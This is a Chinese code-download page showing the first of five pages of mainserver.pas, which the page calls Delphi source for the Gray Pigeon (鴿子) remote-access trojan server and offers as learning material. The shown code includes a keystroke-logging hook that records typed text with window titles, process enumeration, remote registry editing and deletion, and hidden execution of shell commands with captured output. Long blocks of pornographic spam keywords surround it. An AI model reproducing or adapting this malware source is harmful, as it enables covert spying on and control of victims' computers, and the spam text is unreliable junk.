亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? mainserver.pas

?? 鴿子服務(wù)端,Delphi源碼,可以有助于學(xué)習(xí)者編程!
?? PAS
?? 第 1 頁 / 共 5 頁
字號:
function HostToIP(Name: string; var Ip: string): Boolean;
var
  wsdata : TWSAData;
  hostName : array [0..255] of char;
  hostEnt : PHostEnt;
  addr : PChar;
begin
  WSAStartup ($0101, wsdata);
  try
    gethostname (hostName, sizeof (hostName));
    StrPCopy(hostName, Name);
    hostEnt := gethostbyname (hostName);
    if Assigned (hostEnt) then
      if Assigned (hostEnt^.h_addr_list) then begin
        addr := hostEnt^.h_addr_list^;
        if Assigned (addr) then begin
          IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
          byte (addr [1]), byte (addr [2]), byte (addr [3])]);
          Result := True;
        end
        else
          Result := False;
      end
      else
        Result := False
    else begin
      Result := False;
    end;
  finally
    WSACleanup;
  end
end;

procedure AdjustToken();
var
   currToken:THandle;
   prevState,newState:TTokenPrivileges;
   prevStateLen:DWORD;
   uid:TLargeInteger;
begin
    OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, currToken);
    LookupPrivilegeValue(nil, 'SeShutdownPrivilege',uid);
    newState.PrivilegeCount:=1;
    newState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    newState.Privileges[0].Luid := uid;
    windows.AdjustTokenPrivileges(currToken, False, newState, sizeof(TTokenPrivileges),prevState, prevStateLen);
end;

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
  ch: Char;
  vKey: Integer;
  FocusWnd: HWND;
  Title: array[0..255] of Char;
  str: array[0..12] of Char;
  TempStr, Time: string;
  LogFile: TextFile;
  PEvt: ^EVENTMSG;
  iCapital, iNumLock, iShift: Integer;
  bShift, bCapital, bNumLock: Boolean;
begin
  if iCode < 0 then
  begin
    Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
    exit;
  end;
  if (iCode = HC_ACTION) then
  begin
    pEvt := Pointer(DWord(lParam));
    
    FocusWnd := GetActiveWindow;
    if LastFocusWnd <> FocusWnd then
    begin
      if hookkey<>'' then
        begin
          HookList.Add(hookkey);
          hookkey :='';
        end;
      HookList.Add('---------End----------');
      HookList.Add('--------begin---------');
      GetWindowText(FocusWnd, Title, 256);
      LastFocusWnd := FocusWnd;
      Time := DateTimeToStr(Now);
      HookList.Add(Time + Format('Title:%s', [Title]));
    end;

    if pEvt.message = WM_KEYDOWN then
    begin
      vKey := LOBYTE(pEvt.paramL);
      iShift := GetKeyState($10);
      iCapital := GetKeyState($14);
      iNumLock := GetKeyState($90);
      bShift := ((iShift and KeyMask) = KeyMask);
      bCapital := ((iCapital and 1) = 1);
      bNumLock := ((iNumLock and 1) = 1);

      //HookList.Add('這是vKey:'+inttostr(vKey));

      if ((vKey >= 48) and (vKey <= 57)) then
        begin
          if not bShift then
            begin
              ch := Char(vKey);
            end else begin
              case vKey of
                48: ch := ')';
                49: ch := '!';
                50: ch := '@';
                51: ch := '#';
                52: ch := '$';
                53: ch := '%';
                54: ch := '^';
                55: ch := '&';
                56: ch := '*';
                57: ch := '(';
              end;
           end;
         hookkey:=hookkey+ch;
       end;
      if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
      begin
        if not bCapital then
        begin
          if bShift then
            ch := Char(vKey)
          else
            ch := Char(vKey + 32);
        end
        else begin
          if bShift then
            ch := Char(vKey + 32)
          else
            ch := Char(vKey);
        end;
        hookkey:=hookkey+ch;
      end;
      if (vKey >= 96) and (vKey <= 105) then // 小鍵盤0-9
        if bNumLock then
        hookkey:=hookkey+Char(vKey - 96 + 48);
      ch:='n';
      if (VKey > 105) and (VKey <= 111) then
      begin
        case vKey of
          106: ch := '*';
          107: ch := '+';
          109: ch := '-';
          111: ch := '/';
        else
          ch := 'n';
        end;
      end;
      if (vKey >= 186) and (vKey <= 222) then // 其他鍵
      begin
        case vKey of
          186: if not bShift then ch := ';' else ch := ':';
          187: if not bShift then ch := '=' else ch := '+';
          188: if not bShift then ch := ',' else ch := '<';
          189: if not bShift then ch := '-' else ch := '_';
          190: if not bShift then ch := '.' else ch := '>';
          191: if not bShift then ch := '/' else ch := '?';
          192: if not bShift then ch := '`' else ch := '~';
          219: if not bShift then ch := '[' else ch := '{';
          220: if not bShift then ch := '\' else ch := '|';
          221: if not bShift then ch := ']' else ch := '}';
          222: if not bShift then ch := Char(27) else ch := '"';
        else
          ch := 'n';
        end;
      end;
      if ch <> 'n' then
      hookkey:=hookkey+ ch;

      // if (wParam >=112 && wParam<=123) // 功能鍵   [F1]-[F12]
      if (vKey >= 8) and (vKey <= 46) then //方向鍵
      begin
        ch := ' ';
        case vKey of
          8: str := '[退格]';
          9: str := '[TAB]';
          13: str := '[Enter]';
          32: str := '[空格]';
          33: str := '[PageUp]';
          34: str := '[PageDown]';
          35: str := '[End]';
          36: str := '[Home]';
          37: str := '[LF]';
          38: str := '[UF]';
          39: str := '[RF]';
          40: str := '[DF]';
          45: str := '[Insert]';
          46: str := '[Delete]';
        else
          ch := 'n';
        end;
        if ch <> 'n' then
        begin
          //if PrvChar<>Char(vKey) then
          //begin
            hookkey :=hookkey+str;
          // PrvChar := Char(vKey);
          //end;
        end;
      end;
   end ;
{     else
      if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
      begin
        if hookkey<>'' then
          begin
            HookList.add(Hookkey);
            hookkey:='';
          end;
        if pEvt.message = WM_LBUTTONDOWN then
          TempStr := '鼠標(biāo)左鍵: '
        else
          TempStr := '鼠標(biāo)右鍵: ';
        HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
      end;
    //CloseFile(LogFile);  }
  end;
  Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;

function RandomStr(aLength : Longint) : String;
var
  X : Longint;
begin
  if aLength <= 0 then exit;
  SetLength(Result, aLength);
  for X:=1 to aLength do
    Result[X] :=Chr(Random(26) + 65);
end;

function RandomFilename(aFilename : String) : String;
var
  Path,Filename,Ext: String;
begin
  Result := aFilename;
  Path := ExtractFilepath(aFilename);
  Ext := ExtractFileExt(aFilename);
  Filename := ExtractFilename(aFilename);
  if Length(Ext) > 0 then
    Filename := Copy(Filename,1,Length(Filename)-Length(Ext));
  repeat
    Result := Path +Filename+RandomStr(2)+ Ext;
  until not FileExists(Result);
end;

procedure MakeDir(Dir: String);
  function Last(What: String; Where: String): Integer;
  var
    Ind : Integer;
  begin
    Result := 0;
    for Ind := (Length(Where)-Length(What)+1) downto 1 do
        if Copy(Where, Ind, Length(What)) = What then begin
           Result := Ind;
           Break;
        end;
  end;
 var
  PrevDir : String;
  Ind     : Integer;
 begin
  if Copy(Dir,2,1) <> ':' then
     if Copy(Dir,3,1) <> '\' then
        if Copy(Dir,1,1) = '\' then
           Dir := 'C:'+Dir
        else
           Dir := 'C:\'+Dir
     else
        Dir := 'C:'+Dir;  if not DirectoryExists(Dir) then begin
     Ind     := Last('\', Dir);
     PrevDir := Copy(Dir, 1, Ind-1);
     if not DirectoryExists(PrevDir) then
        MakeDir(PrevDir);
     CreateDir(Dir);
  end;
 end;


function TH_GZVIP2004.Savenowtask:String;
var  
    isOK:Boolean;
    ProcessHandle:Thandle;
    ProcessStruct:TProcessEntry32;
    TheList:Tstringlist;
    i:integer;
begin
     TheList:=Tstringlist.Create;
     ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);
     processStruct.dwSize:=sizeof(ProcessStruct);
     isOK:=process32first(ProcessHandle,ProcessStruct);
     for i:=0 to 100 do ThreadID[i]:=0;
     ThreadID[0]:=ProcessStruct.th32ProcessID;
     i:=0;
     while isOK do
     begin
	 TheList.Add(ProcessStruct.szExeFile);//進程名-------------------1
         if isNt then
         begin
	   TheList.Add(IntToStr(ProcessStruct.th32ProcessID));//進程ID-----2
	   TheList.Add(IntToStr(ProcessStruct.cntThreads));//線程數(shù)--------3
	   TheList.Add(IntToStr(ProcessStruct.pcPriClassBase));//優(yōu)先級-4
	   TheList.Add(IntToStr(ProcessStruct.th32ParentProcessID));//父進程ID-5
         end else
         begin
	   TheList.Add(IntTostr(ProcessStruct.th32ProcessID));//進程ID-----2
	   TheList.Add('0');//線程數(shù)--------3
	   TheList.Add('0');//優(yōu)先級-4
	   TheList.Add('0');//父進程ID-5
         end;
	 isOK:=process32next(ProcessHandle,ProcessStruct);
         inc(i);
         ThreadID[i]:=ProcessStruct.th32ProcessID;
     end;
     Result:=TheList.text;
     CloseHandle(ProcessHandle);
     TheList.Free;
end;

procedure TH_GZVIP2004.Deleteregvalue(var StrTmpList:TStringList);  {刪除鍵值}
var
myreg:TRegistry;
RKey:String;
Rpath : String;
Rname : String;
Temp:String;
i:integer;
begin
try
  RKey:=StrTmpList[2];
  Rpath:=StrTmpList[3];
  Rname:=StrTmpList[4];
except
Exit;
end;
  myreg:=TRegistry.Create;
  try
    if RKey = 'HKEY_CLASSES_ROOT' then myreg.RootKey := HKEY_CLASSES_ROOT;
    if RKey = 'HKEY_CURRENT_USER' then myreg.RootKey := HKEY_CURRENT_USER;
    if RKey = 'HKEY_LOCAL_MACHINE' then myreg.RootKey := HKEY_LOCAL_MACHINE;
    if RKey = 'HKEY_USERS' then myreg.RootKey := HKEY_USERS;
    if RKey = 'HKEY_CURRENT_CONFIG' then myreg.RootKey := HKEY_CURRENT_CONFIG;
    if RKey = 'HKEY_DYN_DATA' then myreg.RootKey := HKEY_DYN_DATA;

    if myreg.OpenKey(rpath,False) then
       begin
         myreg.DeleteValue(rname);
       end;
  finally
    myreg.CloseKey;
    myreg.Free;
  end;
end;

function TH_GZVIP2004.GetDosOutput(Command: string): string;
var
  hReadPipe : THandle;
  hWritePipe : THandle;
  SI : TStartUpInfo;
  PI : TProcessInformation;
  SA : TSecurityAttributes;
  BytesRead : DWORD;
  Dest : array[0..32767] of char;
  CmdLine : array[0..512] of char;
  Avail, ExitCode, wrResult : DWORD;
  osVer : TOSVERSIONINFO;
  tmpstr :AnsiString;
  Line: String;
begin
  osVer.dwOSVersionInfoSize := Sizeof(TOSVERSIONINFO);
  GetVersionEX(osVer);
  if osVer.dwPlatformId = VER_PLATFORM_WIN32_NT then
  begin
    SA.nLength := SizeOf(SA);
    SA.lpSecurityDescriptor := nil;
    SA.bInheritHandle := True;
    CreatePipe(hReadPipe, hWritePipe, @SA, 0);
  end
  else
    CreatePipe(hReadPipe, hWritePipe, nil, 1024);
  try
    FillChar(SI, SizeOf(SI), 0);
    SI.cb := SizeOf(TStartUpInfo);
    SI.wShowWindow := SW_HIDE;
    SI.dwFlags := STARTF_USESHOWWINDOW;
    SI.dwFlags := SI.dwFlags or STARTF_USESTDHANDLES;
    SI.hStdOutput := hWritePipe;
    SI.hStdError := hWritePipe;
    StrPCopy(CmdLine, Command);
    if CreateProcess(nil, CmdLine, nil, nil, True, NORMAL_PRIORITY_CLASS, nil, nil, SI, PI) then
    begin
       ExitCode := 0;
       while ExitCode = 0 do
       begin
          wrResult := WaitForSingleObject(PI.hProcess, 1000);
          if PeekNamedPipe(hReadPipe, @Dest[0], 32768,  @Avail, nil, nil) then
          begin
             if Avail > 0 then
             begin
               try
                 FillChar(Dest, SizeOf(Dest), 0);
                 ReadFile(hReadPipe, Dest[0], Avail, BytesRead, nil);
                 TmpStr := Copy(Dest,0 , BytesRead-1);
                 Line:=Line+TmpStr;  
               Except
               end;
             end;
          end;
            if wrResult <> WAIT_TIMEOUT then ExitCode := 1;
       end;
       GetExitCodeProcess(PI.hProcess, ExitCode);
       CloseHandle(PI.hProcess);
       CloseHandle(PI.hThread);
     end;
     finally
       if line='' then line:='NULL';    //命令沒有輸出回應(yīng)!
       result:=Line;
       CloseHandle(hReadPipe);
       CloseHandle(hWritePipe);
   end;
end;

{修改注冊表鍵名/值}
procedure TH_GZVIP2004.Editregvalue(var StrTmpList:TStringList);  {類型}
var
myreg:Tregistry;
loop:integer;
s_line:integer;
buf_write:array [1..64] of int64;
i:integer;
RKey  : String;{主鍵}
Rpath : String;{鍵路徑}
Rname : String;{鍵名}
Rvalue: String;{鍵值}
rtype: integer;{類型}
begin

try

  RKey :=StrTmpList[2];
  Rpath:=StrTmpList[3];
  Rname:=StrTmpList[4];
  //if Rname='(默認)' then Rname:='';
  Rvalue:=StrTmpList[5];
  Rtype:=strtoint(StrTmpList[6]);

except
Exit;
end;    
         
  myreg:=TRegistry.Create;
  try

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国内精品视频一区二区三区八戒| 亚洲狠狠丁香婷婷综合久久久| 精品在线你懂的| 日韩三级视频在线观看| 精品一区二区在线观看| 国产蜜臀av在线一区二区三区| 成人性视频免费网站| 亚洲日本欧美天堂| 91精品蜜臀在线一区尤物| 美女精品自拍一二三四| 日本一区二区三区国色天香| 一本大道久久a久久综合| 亚洲国产美女搞黄色| 欧美大黄免费观看| 成人成人成人在线视频| 午夜a成v人精品| 26uuu国产日韩综合| 成人aa视频在线观看| 午夜亚洲福利老司机| 久久这里只有精品首页| 色狠狠色噜噜噜综合网| 老司机精品视频在线| 亚洲色大成网站www久久九九| 精品视频一区二区三区免费| 国产一区二区免费看| 亚洲一区二区三区在线播放| 久久日一线二线三线suv| 在线一区二区三区| 国产精品自在欧美一区| 亚洲成人一区在线| 中文字幕中文字幕一区| 精品少妇一区二区三区免费观看| 99精品欧美一区二区三区综合在线| 午夜精品福利久久久| 国产精品久久久久久久岛一牛影视 | 亚洲制服欧美中文字幕中文字幕| 日韩精品专区在线影院重磅| 一本色道a无线码一区v| 国产麻豆91精品| 日韩电影网1区2区| 亚洲蜜臀av乱码久久精品蜜桃| 精品国产一区二区三区av性色| 欧美午夜免费电影| 99久久99久久久精品齐齐| 精品一区二区在线观看| 五月婷婷欧美视频| 亚洲人成在线观看一区二区| 久久亚洲捆绑美女| 欧美一区二区三级| 欧美老年两性高潮| 91福利精品第一导航| 99久久99精品久久久久久| 激情综合色综合久久| 视频一区二区三区入口| 亚洲综合久久av| 一区二区三区加勒比av| 亚洲三级久久久| ...av二区三区久久精品| 中文字幕欧美激情一区| 精品人在线二区三区| 欧美日本一区二区三区| 欧美色图天堂网| 色8久久精品久久久久久蜜| 99久久久久久99| 91一区二区三区在线观看| 成人爽a毛片一区二区免费| 国产成人在线观看| 国产99久久久国产精品潘金 | 激情综合网天天干| 精品亚洲国内自在自线福利| 欧美a级一区二区| 麻豆精品新av中文字幕| 久久99精品久久久久久动态图 | 亚洲一区二区欧美日韩 | 日韩电影一区二区三区四区| 亚洲成a人片在线不卡一二三区| 亚洲男同1069视频| 亚洲精品精品亚洲| 亚洲一区视频在线观看视频| 亚洲成人精品一区二区| 亚洲成人先锋电影| 毛片不卡一区二区| 国产精品一品视频| bt7086福利一区国产| 91视频免费看| 欧美人狂配大交3d怪物一区| 欧美一区二区三区公司| 久久免费看少妇高潮| 国产精品色一区二区三区| 亚洲精品国产a久久久久久| 性欧美疯狂xxxxbbbb| 青青青伊人色综合久久| 国产精品99久久久久久久女警| 成人做爰69片免费看网站| 91香蕉视频在线| 91精品国产福利| 国产偷国产偷亚洲高清人白洁| 国产精品大尺度| 亚洲国产精品久久久久秋霞影院| 日本欧美一区二区三区| 激情欧美一区二区三区在线观看| 暴力调教一区二区三区| 欧美日韩一级视频| 久久先锋影音av| 亚洲美女屁股眼交3| 蜜桃av一区二区三区电影| 国产黄人亚洲片| 91高清视频免费看| 久久久噜噜噜久久人人看| 夜夜爽夜夜爽精品视频| 激情综合网天天干| 欧美性色欧美a在线播放| 精品国产成人系列| 一区二区三区丝袜| 国产一区二区三区在线看麻豆| 色欲综合视频天天天| 日韩精品一区二区三区四区| 中文字幕在线观看一区| 六月婷婷色综合| 一本久久精品一区二区| 久久免费国产精品| 肉丝袜脚交视频一区二区| 丁香五精品蜜臀久久久久99网站 | 懂色av中文字幕一区二区三区 | 亚洲一区中文日韩| 国产一区二区三区国产| 在线区一区二视频| 国产日韩欧美精品一区| 蜜桃精品在线观看| 欧美亚洲国产一区二区三区| 国产欧美一区二区精品久导航 | 欧美精选午夜久久久乱码6080| 国产日韩精品一区| 青青草原综合久久大伊人精品 | 欧美群妇大交群的观看方式| 国产午夜亚洲精品不卡| 免费在线成人网| 欧洲激情一区二区| 自拍偷拍国产精品| 国产高清一区日本| 精品少妇一区二区三区免费观看 | 毛片av一区二区| 欧美日韩一区不卡| 亚洲黄一区二区三区| 成人一区二区三区视频在线观看| 日韩午夜av一区| 日日摸夜夜添夜夜添精品视频| 欧美在线视频全部完| 亚洲桃色在线一区| 91亚洲资源网| 日韩毛片高清在线播放| 不卡的看片网站| 欧美激情资源网| 成人永久看片免费视频天堂| 久久婷婷综合激情| 国产揄拍国内精品对白| 久久综合狠狠综合| 国内外精品视频| 久久久www成人免费无遮挡大片| 美女视频黄久久| 精品国产不卡一区二区三区| 极品少妇xxxx精品少妇| 精品国产一区二区亚洲人成毛片| 久久福利视频一区二区| 欧美成人video| 久久成人免费网站| 久久天天做天天爱综合色| 国产一二精品视频| 国产日韩欧美综合在线| 不卡的av电影在线观看| 亚洲欧洲美洲综合色网| 99国产精品久久久久久久久久| 亚洲伦理在线精品| 欧美亚洲尤物久久| 日韩经典中文字幕一区| 日韩欧美国产午夜精品| 国产一区视频网站| 国产日韩高清在线| 91视频在线观看| 亚洲一区二区三区三| 制服丝袜成人动漫| 久久99在线观看| 国产精品五月天| 欧美视频第二页| 麻豆91免费看| 国产精品毛片a∨一区二区三区| 色综合久久天天综合网| 日韩激情一二三区| 久久久国产精品午夜一区ai换脸| 99精品视频中文字幕| 午夜av电影一区| 国产无一区二区| 欧美三片在线视频观看| 美女网站一区二区| 一色桃子久久精品亚洲| 91精品国产欧美一区二区| 国产精品99精品久久免费| 亚洲一区二区3| 国产喂奶挤奶一区二区三区| 99麻豆久久久国产精品免费|